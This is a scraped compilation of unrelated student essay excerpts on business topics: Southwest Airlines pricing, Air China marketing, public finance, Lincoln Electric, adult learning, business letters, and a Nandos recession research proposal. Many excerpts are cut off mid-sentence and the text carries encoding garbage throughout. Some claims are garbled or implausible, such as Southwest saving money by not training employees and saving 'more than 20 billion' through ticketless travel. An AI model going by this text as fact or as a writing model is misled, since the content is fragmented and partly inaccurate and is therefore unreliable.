Company case: Southwest Airlines †Waging War in Philly

1. How do Southwest’s marketing objectives and its marketing mix strategy affect its pricing decisions? Answer : Operating under an intensely competitive environment , Southwest Airlines carefully projects its image so customers can differentiate its product form its competitors .. To successfully secure its market position , Southwest needs to be extremely Cost-efficient ,Southwest has a well defined business model that uses single aircraft type ,short hauls ,secondary airports , point-to-point versus hub-and-spoke to keep its cost down . Southwest tries hard to differentiate itself by doing seemingly wired things. For example, not assigning seats in its flights helps to reinforce its image that it gets passengers to their destinations when they want to get there ,on time , at the lowest possible fares . By not assigning seats ,Southwest can turn the airplanes quicker at the gate. If an airplane can be turned quicker, more routes can be flown each day . That generates more revenue , so that Southwest can offer lower fares . The marketing objective of Southwest Airlines is to attract long term customers who will be loyal to Southwest Airlines and consistently fly their airline. To draw in repeat customers Southwest focuses on customer service and providing a positive experience while flying . The goal is to continually fill flights and bring the maximum revenue on every flight. Marketing Mix: For Southwest Airlines, promotions starts with the insightful understanding of customer benefits and how to translate those benefits into meaningful products and services . If we look upon the customer’s services of the southwest we will come to know that southwest is providing excellent customer services, baggage handling, easier ticketing, flexible flight schedules, easier check in and check outs on the airport. In the success of southwest airline one of the greatest contributions is of the employees. (In 2004) Little Southwest served a total of 58 cities and 59 airports in 30 states and was offering 14 flights a day from Philly out of only two gates. Two short of year s after Southwest had boosted daily nonstop flights from 14 to 53. It had added service to 11 new cities and quadrupled it numbers of gates 2 to 8, with its eye on 4 more. Promotional Advertisement for Southwest come in a variety of forms. They advertise on TV commercial, in print ads ,on the radio and through word of mouth . We can see that the core strength of the southwest airline is in its low fair. It is very important to know how southwest can afford such a low fair. The answer lies in control over operating costs. Southwest do not offers meals during flights but they do offer snacks to their customers and southwest also save money by not offering training to their employees, Southwest Airlines tries to use maximum seat capacity, though their fairs are low but their plan never flew empty. In addition, Southwest introduced innovated measures to limit overhead costs by introducing ticket-less travel, and this strategy save them more than 20 billion. Southwest also save the cost by lowering the turnover ratio of the employees, southwest introduces highly innovative programs for employees to keep them motivated and satisfied.

Information System Flexibility and the Cost Efficiency of Business Processes Essay

The work of Gebauer and Schober entitled â€Å"Information System Flexibility and the Cost Efficiency of Business Processes† states that for an information system (IS) must be flexible if it is effective and must â€Å"be able to accommodate a certain amount of variation regarding the requirements of the supported business process.† The problem statement is clear noting the need for flexibility in the information system. The study is noted as being significant in that it â€Å"contributes to IS theory building with a focus on the effects of IS flexibility on the cost efficiency of a given business process.† (Gebauer and Schober, 2006) The primary objective is stated to â€Å"present a theory of the impact of IS flexibility on the cost efficiency of a given business process† as well as establishing the â€Å"importance of IS flexibility as a success factor of IS management.† (Gebauer and Schober,) The literature review is thorough and examines the characteristics of a business process and specifically the three dimensions of the business process including: (1) uncertainty; (2) variability; and (3) time-criticality. (Gebauer and Schober, 2006) Many previous studies are cited in the study of Gebauer and Schober (2006) and the shortcomings in those studies as well as the strengths of the study being noted. The concept of Information Systems (IS) flexibility is reviewed as well as past studies in this area. The study is clear in its statement of several preliminary propositions. A model structure is illustrated outlining a two-stage decision process. Relationship between variables of analysis were specified by distinguishing among three strategies to perform a process task: IS flexibility-to-use, IS flexibility-to-change, and task performance outside of an IS (manual operations). (Gebauer and Schober, 2006) The study is reported to systematically analyze a formal quantitative decision model, which allowed us to obtain a refined set of propositions that included combinatorial effects of business process characteristics, yet that at the same time also become more situation-specific.† (Gebauer and Schober, 2006) Findings of the study are stated to demonstrate that â€Å"IS flexibility-to-change is cost efficiency deployed to support a business process characterized by a high level of uncertainty, whereas a low level of uncertainty corresponds efficiently with IS flexibility-to-use.† (Gebauer and Schober, 2006) The model is stated to indicate that â€Å"high process variability tends to limit the value of an IS over manual operations, whereas a high level of time-criticality of process requirements tends to increase the value of an IS over manual operations.† (Gebauer and Schober, 2006) The discussion is based on the research problem and there is adequate interpretation of the findings. The interpretation is separate from the results and the results are discussed in regards to previous research studies. There are some limitations stated in the study and the conclusions are clearly stated and reasonable. There are suggestions for methods that could be used to better refine the study process and ultimately render more accurate results.

No topic Term Paper Example | Topics and Well Written Essays - 500 words - 8

No topic - Term Paper Example The nurse does not consider Mrs. J’s subjective perceptions and does not hear her complaints. The nurse is convinced that Mrs. J. exaggerates her pain and may develop an anesthetic addiction. In order to solve the problem, both the nursing assistant and the chief nurse must collect all information regarding the physical state of the patient, her diagnosis and possible complications. If possible, the patient will have to pass a test, whose results will create the basis for the development of a more specific pain management strategy. Additionally, the department must test the efficiency and validity of all technologies in Mrs. J’s room. It may happen that the results it shows regarding Mrs. J’s health are not objective. The desired result is providing comfort in Mrs. J.’s relations with nurses and alleviating her pain, without causing any care disruptions or damaging her health (e.g., through the development of anesthetic addiction). Although it will take some time to complete additional tests, this is the best solution to the discussed problem. Nurses need to ensure that all technologies operate appropriately and that additional doses of medications will not damage the patient’s

Air china case study Essay Example | Topics and Well Written Essays - 2000 words

Air china case study - Essay Example In other words, marketing audit facilitates the process of determining marketing objectives for the firm. While developing the marketing objectives it must be ensured that they are relevant to the corporate mission and vision. Furthermore objectives should be clearly understood by the firm itself. Moreover it should be closely related to the financial, human resources and infrastructural capabilities of the organisation. Establishing appropriate marketing objectives is the key to the organisation’s overall capability of achieving high level performance. Dibb, Pride, Simkin and Ferrell stated that â€Å"a marketing objective is a statement of what is to be accomplished through marketing activities† (Beamish & Ashford, 2005). A properly developed marketing objective should have SMART components, in other words objective should be Specific, Measurable, Attainable, Realistic and Time bound (Beamish & Ashford, 2005). This report describes the marketing objectives that are de veloped in the context of Air China. The report also includes the recommended strategies for achieving these objectives. Air China is one of the largest airline operators not only in China or Asia but in the entire world. As far as market capitalization is concerned, Air China is the largest carrier in the world. In its home country the company has almost 23% market share, ranking just behind China Southern and China Eastern which are the largest and second largest players respectively in the country (Lei, 2010). However, the company is China’s largest international carrier. It is a state-controlled company that is better known as the flag carrier of China. As far as recent developments are concerned, in March, 2010 the company announced its plan of taking over Shenzhen Airlines which is another important player in the Chinese airline market. On March 22 the company declared that it has acquired Shenzhen Airlines. According to Air China, almost $100 million will be

Public finance Essay Example | Topics and Well Written Essays - 2750 words

Public finance - Essay Example ng maximum output from its resources, whereas, parreto efficiency occurs where it is impossible to make one better off without making at least one worse off. The efficiency in the public sector is distorted by market failures. Market failures are those situations where conditions necessary to achieve the market efficient solution fail to exist or are repudiated somehow. Some the examples of market failures include the existence of public goods and externalities, imperfect competition, incomplete information, uncertainty and many more. When market fails in the public sector, inefficiencies are at its peak and intervention from a vast external force is much needed, this is the part where government intervenes in the market. The intervention of the government involves the four branches known as the Musgrave’s 4 branches which are; allocation branch, distributional branch, stabilization branch and regulatory branch. First, the allocation branch is activated when one of the following four principles are violated; a lucid system of property rights, complete information to buyers and sellers, excludable principle and rivalry in consumption. So for commodities where property rights cannot be assigned to a single individual, these common property resources fail the market due to the problem called tragedy of the commons, as these goods are for free and individuals’ tend to over use them. This over usage of the goods would mean rapid deterioration of the goods and that less of the goods would be available to others. This is a violation of the principle of having a clear system of property rights. The allocation branch corrects this inefficiency by communally owning the property rights rather than rights being privately owned and this means for each resource government allocates the right to use that resource. In addition, inefficiency also arises from pure public goods that are non-excludable and non-rival in consumption. In the case of non-excludable you cannot

Answers for quiz questions Essay Example | Topics and Well Written Essays - 500 words - 1

Answers for quiz questions - Essay Example It engages the consumers into falsified meta-communication and disturbs the commodified social relations (Strasser 145). McRobbie explains the commodity feminism by using different T.V shows’ female characters as examples. She talks about the series ‘Sex in the City’ in which the female characters are independent and career oriented. McRobbie also talks about the popular pre-school TV program â€Å"Dora the Explorer†. The purpose of talking about the female characters is to determine the gender appropriation. The examples given by her are commonly known by all and they better describe the film’s discussion by bringing to light the gender roles in this subject. She believes Dora to be an empowered active female subject(Coleman 19). Question 3: The Duffy piece focuses on the rhetoric of authenticity in women’s magazines. Using the reading, explain what she means by this and identify an example from the film in which we’re sold a different type of authenticity. As the term authenticity is being focused in the context of the Magazine, it refers to the inner â€Å"Real† beauty. The authentic beauty is a real body’s imperfect physical beauty. There is an opinion that a woman should choose a physical look to demonstrate her inner, real beauty (Bose 170). The commercial culture has been deploying the appeals to the self-expression. Women’s magazine and advertisements have been infusing increasingly with the rhetoric of authenticity (Sedivy and Carlson 43) â€Å"Thin! Bronzed! Botoxed! Blonde! Too many women—even famous ones—are caving into a cookie-cutter standard of beauty. True glamour means not conforming to some standard.†Ã¢â‚¬â€Glamour Magazine, 2008 Question 4: Identify and describe an example from the film where you see advertisers use misdirection in language. What is this language concealing? Using the same ad/campaign, identify 2 ways in which it fits into one of the phases of advertising. The advertisers studies

Using the internet for E-commerce Essay Example | Topics and Well Written Essays - 1000 words

Using the internet for E-commerce - Essay Example sharing of product and service information, developing and maintaining human commercial relationships, and transacting business over the Internet and the World Wide Web. The Internet is bringing about a profound change in the ways business is conducted worldwide and is considered to have become the conduit for change from a producer culture to a consumer culture. Small and medium-size enterprises are the main beneficiaries of the low-cost marketing possibilities offered by the Internet, which can turn them from small niche players into global ones. A fundamental change is happening in the world of Asian marketing that could prove a bonanza for struggling companies. The Internet is providing low-cost ways for small to medium-size businesses to get their advertising message across, focusing on specific audiences. The key to the success of niche e-businesses is first and foremost brand awareness. Second, expanding the customer base geographically is leading to the need for a greater product range to meet strong local preferences in style and fashion. The Internet has proved to be the perfect messenger for niche interests, serving individual tastes and diverse geographical demands. According to Microsofts small business marketing manager, Linda Mitchell, one of the biggest advantages of having a Web site is improving customer service and loyalty (Small Business Success Magazine, 2001). Connecting to search engines and support organizations such as on-line directories is free in many cases and expands a companys Web presence to a much larger market. Markus (1996) proposes that as more medium- to small-sized businesses outsource processes to vendors via the Internet, the businesses tend to focus on core activities. This trend is coupled with the trend for these businesses to increase their use of e-commerce and deliver their services and products directly to their end customers through information technology (IT), thus reducing or eliminating many of the costs

SWOT analysis Essay Example | Topics and Well Written Essays - 250 words

SWOT analysis - Essay Example Kathmandu Holdings Limited is an organisation committed to providing quality clothing and equipment for travel and adventure through its operated company stores. The major strength of the organisation lies in its capability to develop its brand and value which are satisfactory to the customer. This is a result of its vertically integrated business model which gives it control of its brand and products. This also allows it to achieve both a wholesale and retail margin. The major notable weakness for Kathmandu is that its success is over reliant on its reputation and branding. Unexpected issues can damage this reputation which is a weakness since there are no measures in place to counter this development should it happen. The opportunity for the company is that it has a network of company operated retail stores which makes it easy to gather information about the needs and wants of the customers. The other opportunity is that it has significantly invested in its IT systems to support its future growth plans. The other opportunity is that the organisation is strategically positioned to deliver attractive financial results to its shareholders and it allows public investors the opportunity to invest in business successfully. Its stance on brand awareness is another opportunity behind its success story in the market for outdoor travelling clothes and equipment. Likewise, this organisation does not operate in isolation from other firms. Of significant importance in this case is damage to Kathmandu’s brand as well as aggressive competition. This makes it a bit challenging for the organisation to maintain its competitive advantage as well as its dominance in the market with regards to the quality of its products that have greatly contributed to its success over the last years. The other threat is the risk associated with investing in the stock market generally where the management may not be able to

Lincoln Electric Case Study Example | Topics and Well Written Essays - 1000 words

Lincoln Electric - Case Study Example As the discussion stresses  one of the major contributing factors towards the success of Lincoln Electric is its flexibility. The company does not believe in maintaining an official organization chart in order to offer high flexibility. The company’s easy and less complicated policy support s employees to go to anyone whom they think to be proficient enough in providing solutions to their problems offering a flexible organizational structure. Flexibility is considered to be an important factor for the success of any organization. Employees or workers should be given enough flexibility to work according to their own ways and convenience in order to be productive ensuring the superiority of the end products.This paper highlights that  an easy and less complex policy would remove the barriers among the workers and the executives and would facilitate smooth communication. Communication is quite important in organizations so that the problems can be communicated to the concerne d person and measures can be immediately taken to find a solution without largely hampering the manufacturing functions.  The company does not have any special policies or perks for the executives which promotes a sense of equality among the employees and in turn encourages a sense of responsibility in them.  The company handed over the control of management to various teams which facilitate them with the right to take decisions when necessary. This ensures a smooth flow of work, as employees need not wait for others to take decisions and then having to act accordingly. This triggers in them a sense of responsibility to perform better (Willcoxson, 2011). Another important factor is that employees are entitled to profit sharing as well as stock options based on individual as well as team performance (McGee & Et. Al., 2006). Employees are influenced to bring forward innovative ideas by the management which would enhance their productivity. The company constantly invests on trainin g as well as educating the employees to make certain effectual contributions towards business performance. The responsibilities given to the employees are also considered as significant factor. They include pay cuts and penalties in case of absenteeism which instill a sense of responsibility, the workers related to production needs to provide assurance regarding the quality of individual piece produced by them or else no payment is made against it and finally there are only few supervisors owing to which team work is promoted without any detailed supervision. Thus, the above mentioned factors can be considered as the major contributing factors for the company’s superior performance (Lussier, 2008). Understanding of the Factors Responsible for High Performance The high performance of Lincoln Electric is reliant on many external as well as internal factors. Flexibility, communication, incentive structure, policies, sense of equality and responsibility are the most important contributing

Annotated Bibliography Essay Example | Topics and Well Written Essays - 1000 words - 9

Annotated Bibliography - Essay Example The action and reaction observed in gender issues have made it necessary for both men and women to collaborate in designing and implementing policies that will suit the interests of either sex. In order to critically capture affirmative action and the rise of women in a men-dominated world, it is essential to understand the root cause of gender issues and how different people are dealing with it. This makes the source a rich resource in terms of the information it contains and its subsequent use in my research. The interconnectedness of different education disciplines has diversified the affirmative action debate and the role of women in the society. The field of science has not been left behind in the debate. For many years, science had been predominantly a field for men. Societies held that the field was relatively difficult for women to handle. However, women empowerment from time to time has left women equal or even better than men in science courses and professions. Policies that are empowering women in science are vital in the continuing affirmative action debate. Many studies continue to highlight women’s potentials, abilities, and capabilities in science, and Balafoutas and Matthias have made their contribution in such studies. The information and policies presented in this source shows that affirmative action is not limited to any specific disciplines, making the source crucial in my study. The fact that the journal is published makes it a credible source. Beaman emphasizes on the need for exposure to both men and women. The source primarily concentrates on empowering women and reducing gender bias through exposure. The source highlights all the variables that define exposure, and also presents the exact aspects that constitute gender bias. Measures that can be used to reduce or alleviate gender bias are outlined, thereby showing how men and women should relate in the light of affirmative action. The

Adult Learning Essay Example for Free

Adult Learning Essay DISCUSSION BOARD Do you believe they have any benefit for teaching adults? Why or Why not? Share a personal example of each that supports your view. Based on your own experiences, do you believe that children and adults learn differently? Give examples to support your thoughts. Metaphors, rehearsal, imagery and mnemonics are concepts used for teaching children. These tools benefit teaching creating venues that will effectively and efficiently nurture learning. For teachers, the more tools and bag of tricks the teacher has, the deeper and wider student learning styles he can reach, whether his students are adults or children. Studies show that children are fast learners as seen in their growth rates compared to adults. However, due to the innate nature children in as much as it could benefit teaching adults. Teaching adults as a general practice involves introduction of new concepts, facilitating learning processes and of human beings to learn using their mind, heart and hands, it is safely assumed that man’s learning is continuous and does not end with being adults. From experience, adult learning takes into consideration integrative tools to get the concepts across. In a way, if the teacher is able to create an atmosphere where adults can become children again, learning can become faster and insightful. Metaphors and the ability to use them denote higher literacy levels due to the cultural shades the metaphors require. For adults, the use of metaphors for learning is effective in evocative process of teaching. The adult learner by its manipulation of thought, experience and words, can further deepen their insights on the subject being learned. For example, in teaching a second language to adults involves using learning tools that can help the learners claim a new vocabulary. It usually takes six kinds of experiences or activities before non-native speaker acquires new vocabulary. Using metaphors will help the adult learner visualize, analogize and understand the new concept via exploration of likeness. The word blue can be analogized as â€Å"cool†, â€Å"sky†, or â€Å"water†. Another reason why metaphors are effective is that in adult learning, high level of inhibitions needs to be broken up before the learners start to let go and trust the teacher and their co-learners. Metaphors are good tools to slowly break the barriers of communication especially when the topic that is being discussed is sensitive. For teachers, when adult students use their own metaphors, the teacher can get a new perspective on how the student was able to digest the concepts being imparted. Rehearsals are exercises that instill mastery skills. Adult learning includes mastery of skills especially when the concepts that need to be learned involve tactile efforts. Rehearsals can range from mental rehearsal of knowledge as well as physical rehearsal of skills. An example of rehearsal in adult learning is the teaching of artistic craftsmanship, selling and management techniques, or any hands on skill. Computing is mastered through repeatability of the ability. Repeating something like cooking is a kind of rehearsal. The use of imagery is effective in adult learner where collaboration is imperative. With adult learning, the teacher’s imposition as all knowledgeable is less. The teacher’s role lies more on bringing tools such as images that can stimulate knowledge, skills and attitudes. Just like in children where the visuals can stimulate sensory skills, adults can develop the power of their own senses to stimulate their mind, relax their bodies and imbibe more learning in a healthier way. Malcolm Knowles takes this collaboration in adult learning into the organizational level. â€Å"When applied to the organization of adult education, a democratic philosophy means that the learning activities will be based on the real needs and interests of the participants; that the policies will be determined by a group that is representative of all participants; and that there will be a maximum of participation by all members of the organization in sharing responsibility for making and carrying out decisions.† (Knowles, 1980) An example of using imagery in adult education is using film as take off point for classroom discussions. Visual stimulus can be a painting just like in children’s education but in adult discourse, the insights are more mature and evoked from varied experience. Mnemonics helps teachers increase confidence of adult students in recalling vocabulary and concepts. Teaching through mnemonics is as much fun and rewarding to adults as it is on children. The memory enhancing strategy is usually used to teach information that’s already known but need to be easily recalled. The use of this technique accommodates students from a wide age range. In adults, it is easier because with rich and diverse experience, the class can create more associations to a word, making it easier and more fun. â€Å"Most people believe that their memory gets worse as they get older. This is true only for people who do not use their memory properly: memory is like a muscle the more it is used, the better it gets. The more it is neglected, the worse it gets. While in education most people have to use their memory intensively simply to remember facts and pass exams. When people leave full time education, they tend to cease to use their memory as actively, and so it starts to get flaccid.† (Chennai Interactive, 2002) Adult education that uses mnemonics will be able to help adults that have ceased to use their memory after leaving formal learning venues. The memory muscle just like any adult muscle will be able to recall its ability to remember vocabularies, theories and concepts with the mnemonic type of learning. People who learn how to bike, never forgets to how to bike. Even the concepts of mathematics will easily be recalled if mnemonics is used to recall mathematical jargons or concepts of other subjects. Adult learning is very much parallel children’s way of learning. There is no better challenge for adult educators to prime their students into the level of child like learning where the student is more open to new ideas, prepared to embrace new experience and able to digest their new knowledge into the levels of reflection and insight. REFERENCES Chennai Interactive Business Services (P) Ltd., 2002. Memory Techniques. Retrieved October 27, 2006, from www.chennaionline.com/education/2002/mete.asp Knowles, Malcolm S., 1980. The Modern Practice of Adult Education: From Pedagogy to Andragogy, Englewood Cliffs: Prentice Hall/Cambridge.

Example speech Essay Example for Free

Example speech Essay Good day! I hope you had a great start of the day just as I had. Of course knowing that I’ll be speaking here in front of you makes me feel very flattered and honoured. Before I start, I would like first to share a saying that I truly believe, communication starts for those who works for it. And that communication includes writing a letter, let alone writing a business letter. Writing a business letter is just like writing other types of letter it includes not only the message itself but also other important and optional parts. The important parts includes the heading which tells the identity of the sender; the inside address that tells the reader to whom the letter is address; greeting which introduces your letter in professional tone; the body of the letter is of course, the most important section of the letter-from both the writers and the readers point of view; the closing is typically a short, one word ending that tells your reading that they have reached the end of your letter and the signature, under the closing and reiterate the identity of the sender. The optional part that is only used when required it includes attention line, subject line which is used to give the reader advance notice of what your letter is all about and some note that is used when we included some envelope or package, send copy of the letter to one or more persons and wishes or not to let the addressee know, these notations can be enclosure notation, mailing notation, carbon copy notation or blind copy notation. While the most familiar, the post script is used when the writer has intentionally forgotten to mention something and to draw the readers attention to a particular important point. When writing a business letter, we dont just consider the part but also know how these parts should be arranged in other words the arrangement styles of the letter. There are different styles in which the parts are positioned. It can be block style in which all the parts begin at the left margin or modified block style where only the position of the date line, complimentary closing and the writers identification starts at the horizontal center of the page. But if you want your letter to have the format of modified block style and the first line of all the paragraphs are indented then you can use the modified-block style with indented paragraphs or semi-block style. While some people prefer the social business style because of it differs from regular business letter styles in a number of ways such as instead of opening the letter, the inside address may be typed at the left margin five lines below the signature line and the reference notations, enclosure notations, carbon copy notations and often the writers typewritten signature are omitted and so on and so forth. Using the formats and arrangement styles, you will be sure to send letters that look attractive and modern. However, they cannot be effective and promote goodwill if your writing is not well-organized and the ideas are not well-planned. Thats why we need to know the different kinds of the business letter. One could hardly name all the kinds of business letter written but here are the most frequently use. The request letter or â€Å"please send me† letter, these are letters written for simple request for information, literature, appointments, reservations and so on. And the kind of letter that answers these letters are called form the name it suggest without a doubt, the letter answering requests. Meanwhile, when the person who has been inconvenient or offended writes a letter of protest, it is called claim letter or also known as complain letter. And the letter that answer these letters are called adjustment letters. Next kind is for those who want to request for a credit or would like to remind the person who did not pay you what they owe to you, the credit and collection. Next is every letter business people write, the sales letter, these are written for specific purpose of selling good or service. And the kind of letter that everyone uses, especially you my dear listeners sooner or later, the application letter, it includes inquiring about a position, letters of application, letters thanking an employer and resignation letter. While there are different kinds of business letter, these kinds of letters can be handled simply in term of the readers anticipated reactions. These three basic letter patterns enable the writer to solve problems with request, order, claim, adjustment and what have you. First is the everday letter, it take a direct approach and are simple to write. While more skillfully writing techniques are needed when showing the reader why he/she should take and action before you actually ask the action to be taken, which is the persuasive letters. The last is the most difficult, bad news letter, it is when you are refusing request, adjustment or credit. Like the persuasive letter it should be take an indirect approach. Of all thats been said and done, the best way we all need to consider in writing a business letter or any letter is the preparation and proper approach to have a effective communication. Again like I said earlier, communication works for those who works for it. Thank you for inviting me here and listening to me for a couple of minutes. Thank you and God bless!

The Customer Base Of Nandos

The Customer Base Of Nandos An investigation of Nandos performance since and during the recession will need to be undertaken. This would need to be compared to its performance prior to the recession in order to investigate the effect of the recession on Nandos. Firstly, the proposal will first carry out an in depth literature review to investigate relevant theories and information related to the research objectives outlined above. Building on the findings of the literature review, the research design and strategies will be formed to investigate each of the above objectives. During the course of this study, ethical and practical issues in relation to the research altogether will also be considered. Nandos founded in 1987 is a casual dining restaurant with a Portuguese theme. It originated from South Africa and is now operating in 30 countries on 5 continents. It specializes in chicken dishes with different souses such as lemon and herb, medium, hot or extra hot Peri-Peri. In some countries, they also offer other flavor options like mango and lime, lemon and herb, or Mediterranean (Nandos 2009, p.4) The restaurant began in 1987 when Robert Brozin and Fernando Duarte bought a restaurant called Chickenland in Rosettenville, Southern Johannesburg. They renamed the restaurant Nandos after Duarte. The restaurant incorporated influences from former Portuguese colonists from Mozambique, many of whom had settled on the south-eastern side of Johannesburg, after their homelands independence in 1975. (Nandos 2009, p.4) Nandos is famous for its flame-grilled Peri-Peri chicken which is served either in quarters, halves and wholes. It also serves burgers, pitas, salads, wings and wraps. In some countries, Nandos sells chicken livers, Espetada and the Cataplana. (Nandos 2009, p.2) Nandos also manufactures a range of sauces which are sold in Nandos restaurants and in supermarkets. These include Peri-Peri sauces, marinades, cooking sauces and a Peri-Peri Essence. (Nandos 2009, p.2) In 1992 Nandos entered the United Kingdoms restaurant industry with its first restaurant in Ealing, London and now is operating with its several branches around UK. In 2009 Nandos UK was awarded Three Stars in the Best Companies Annual Accreditation Awards becoming the only entrant in the large companies category to achieve the three star rating. (Harmer, 2010) Literature Review Customer Base According to Edwards (2010) customer base of an organisation includes all the customers that organisation servers. One of the most important ways to establish a successful business is to build a solid base of customers who stick with the business through thick and thin. A solid customer base becomes the foundation on which a business grows. Business Cycle Business Cycle is defined as a cycle of series of different phases of contraction and expansion of real GDP. A complete business cycle consists of five different phases and every country has to go through each phase in order to achieve its peak. A complete business cycle from peak to peak is shown in the graph below. (Arnold 2008, p.151) Phases of The Business Cycle There are five different phases of a business cycle which include the peak, contraction, though, recovery and expansion. (Arnold 2008, p.151) A complete business cycle is measured from peak to peak. Peak at the peak of the business cycle real GDP is temporary high. (Arnold 2008, p.151) Contraction this phase represents the decline in the real GDP. This phase is known as the recession phase. (Arnold 2008, p.151) Trough this phase represents the low point in the real GDP just before the starts to increase back again. (Arnold 2008, p.151) Recovery this phase represents the phase when the GDP is rising back towards the initial peak. Recovery phase begins from trough and extends up till the initial peak. (Arnold 2008, p.151) Expansion the expansion phase refers to the increase in real GDP beyond the recovery point. In this stage the GDP increases the initial peak. (Arnold 2008, p.151) No country can stay in the peak phase for long time even the developed countries. The best any country can do is that they can go straight from contraction phase to expansion phase and skip the trough and recovery phases. Recession According to Wiegand (2009) recession occurs when a countrys gross domestic product (GDP) the value of all the reported goods and services produced by a country goes down for two or more consecutive quarters which means for six months or more. (p.18) The above mentioned definition was considered very simple and standard so on November 26, 2001, the National Bureau of Economic Research gave a different than standard definition of recession. According to the NBER, recession is a significant decline in activity spread across the economy, lasting more than a few months, visible in industrial production, employment, real income and wholesale retail trade. (Wiegand, 2009) Ordinary recession symptoms are quite depressing. People buy less stuff because they feel less confident about making in the future. Factories make less stuff because people are buying less. It can be harder to get credit. Unemployment rises and stock market falls. Depression A recession when gets out of control turns into a depression resulting in the countrys GDP drops by more than 10%.(Wiegand, 2009) Real life examples of great depression that happened in USA and Finland are: From 1929 1933, the GDP of the United States decreased by 27%. Form 1937 1938, the GDP of United states decreased by 18%. In 1990s, after the Soviet Union fell apart the GDP of Finland dropped by 11%. The above given examples when compared by the global recession of 2001 in which the GDP decreased by 0.6% give the idea of the critical situation of 1930s. (Wiegand, 2009) Impact of Recession According to King (1997) the recession had two different but related impacts: The realization that competitive nation require competitive government stimulated experiments to reform government structure and systems. The failure of many of these experiments to deliver short term benefits has led many to distrust the traditional processes and rhetoric of governments. While recession exposed both businesses and governments to new global forces, nosiness responded more flexibly than government. (p.269) Causes of Recession The reasons which cause the GDP to decrease and hence result in recession are classified into two types which are: External Causes of Recession External causes include misusing of those same factors which are used by the government in tackling the recession. Recession is generally caused by the excessive application and misusing of different governmental economic policies like fiscal or monitory policies. On rare occasions, there can be other types of external shocks such as oil embargo of 1973 74, but usually the cause of recession that does the real damage is the fiscal or monetary policies. The most prominent example of external cause of recession is the severe monetary control sometimes referred to as cold turkey monetarism. (Klien 2002, p.133) Internal Causes of Recession Internal causes of recession are probably more important than that of external causes of recession. These are the excesses, imbalances and distortion that develop within the structure of the economy itself as the expansion unfolds and cause consumers to cut back on their buying and business executives to cut back on production and employment. For example: an excessive build up of inventory, an imbalance in price cost movements that brings on a profit squeeze and excessive demands for credit that drive the rates beyond variable level. (Klien 2002, p.133) Strategies used by Governments to combat Recession The methods used by the federal government to try to pull the economy out of recession are discussed below: Setting Fiscal Policies According to Wiegand (2009) fiscal policies are basically the guidelines the government follows to collect and spend the tax money. Governments in order to tackle recession it can take the following steps: Cut Taxes so people and businesses keep more cash for spending on goods and services. Increase Spending on government projects to boost employment. Widen safety net programs such as unemployment insurance. Adjusting Monetary Policies According to Wiegand (2009) governments can regulate economy by manipulating the supply of money. Governments can use the following measures to control the recession in the economy: Lower the amount banks have to keep in reserves. Lower the interest rates on loans. Buy treasury bonds and loans that private entities made. Strategies used by Businesses to combat Recession According to Vickers (2006) Businesses in order to recession proof its business in case of economic slowdown should follow the strategies give below: Diversify its business. Offer extraordinary customer service. Intensify its marketing activities. Adopt latest technology. Stay focused towards long term goals and objectives. Look for new ways to be innovative. Recession and Chicken/ Burger Bar Market The worldwide recession has affected most markets and the chicken/burger bar market is no exception. Mintel (2010c) shows the chicken and burger bar market was worth  £4.014m. However, in 2008, roughly when the recession came to the fore, this was down to  £3.781m and was estimated to fall further yet. Recession and Nandos A study conducted in December 2010 based on the opinion of 1,966 people aged 16+, suggests 7% of people falling in the category visit Nandos. Furthermore, for the age group 15-24, this figure rises to 19% (Mintel, 2010a). This would seem to suggest that Nandos appeals more to a younger age group. However, one must take into consideration that the sample of 1,966 may not be a sufficient representation of the UK population. Nandos are inclined to target a young age group; an idea backed up by the Spirit of Nandos radio campaign aimed at 18-35 year olds (Mintel, 2010b). This point is further backed up by Nandos popularity amongst celebrities (Sawyer, 2010). In addition, Mintel (2010a) also suggests that, largely, visitors to Nandos are inclined to be from the C1 and Urban Prosperity socio-economic groups. Although there was some archival data on the customer base of Nandos, it is not sufficient for the purposes of this research. Building on the data found during the literature review, t his study will look more closely in to the customer base of Nandos. Due to lower consumer spending influenced by the recession, Nandos in the UK made a loss of  £23m in only 36 weeks leading up to February 2009. However, directors of Nandos also citied rising ingredient costs as factor (Paskin, 2010). The loss of  £23m over 36 weeks during the recession would seem to suggest that the recession has negatively affected Nandos. The Mintel (2008 and 2010c) reports showed that there was no significant change in Nandos market share in the period when recession was in progress. The research design will allow for the reasons behind this loss to be analysed in detail. Nandos financial reports will be required to look comprehensively at their financial performance and the driving forces behind any major changes. The effect of the recession on Nandos may well have been reduced due to the brand name being perceived honest and sincere (Opoku et al, 2007). Nandos has continued to expand through the economic downturn, planning 20 plus openings and David Niven vowing to open up to 200 more within 5 years (Wootton, 2010). Another strategy explored by Nandos was the move towards being eco-friendly, underlined by unveiling the first branded UK restaurant to use its own waste cooking oil as a solitary power source (Wootton, 2009). Another tactic employed by Nandos was to make a commitment to offer healthier options in their menu (Eversham, 2008). Nandos strategy of not taking note of recession and expanding will need to be further looked in to. Their initiative towards their staff and providing healthy options will also be investigated and the effectiveness of it analysed through the research methodology. Also, Nandos made a vow to make no redundancies in the recession which seems to be to keep up staff morale. And, as Moore (2010) suggests, HR methods are a major contributor to business profitability and this is a factor which is gaining m ore and more weight. This strategy seems to have paid some dividends with the award of three stars in the Best Companies Accreditation Scheme 2010 (Harmer, 2010). Research Methodology Definition Research methodology in research methods refers to the study of specific techniques, tools or procedures applied to achieve research objectives. Research methodology includes types of data, types of study, sources of data, research tools etc. used in order to conduct the research. (Dillman, 2000) Purpose of Research Research Question The research is being conducted to answer the following research questions: What is the customer base of Nandos? If and how the recession affected Nandos? What are the strategies used by Nandos in the recession? In order to answer the research question above the methodology used to carry out the research includes the following: Nature of Study In order to answer the research questions this study will require both exploratory and explanatory strategies at different points. Exploratory strategy is required as there is not enough information available about the research topic in hand as this type of research on Nandos has never been conducted before and is done for the first time. So in order to fulfil the research objectives information about Nandos is needed to be explored to investigate the effect of recession on Nandos and different strategies used by Nandos to tackle recession. (Dawson, 2002) Explanatory strategy is required as the relationship of the research findings must be established and explained in the research. (Dawson, 2002) Research Onion By considering the research objectives and the literature review of the research project a clear structure of the most suitable research methodology for the research is developed. Through each layer of Saunder et al. (2007) research onion model the most appropriate research methods, approaches and strategies are adopted for conducting the research in order to answer the research question. The different layers in Saunders et al. (2007) research onion model are shown in the figure below; all the layers will be individually discussed to explain the reason behind selecting a particular element for this specific research. Saunders et.al (2007) Research Onion Research Philosophy As shown in the figure above the first layer of Saunders et al. (2007) research onion is the research philosophy. Considering the research objectives interpretive approach is selected as the relation between Nandos and its customers is needed to be determined in order to answer the research question. Positivism approach is also considered as the research also required qualitative and statistical data in order to improve the research findings. Research Approach As 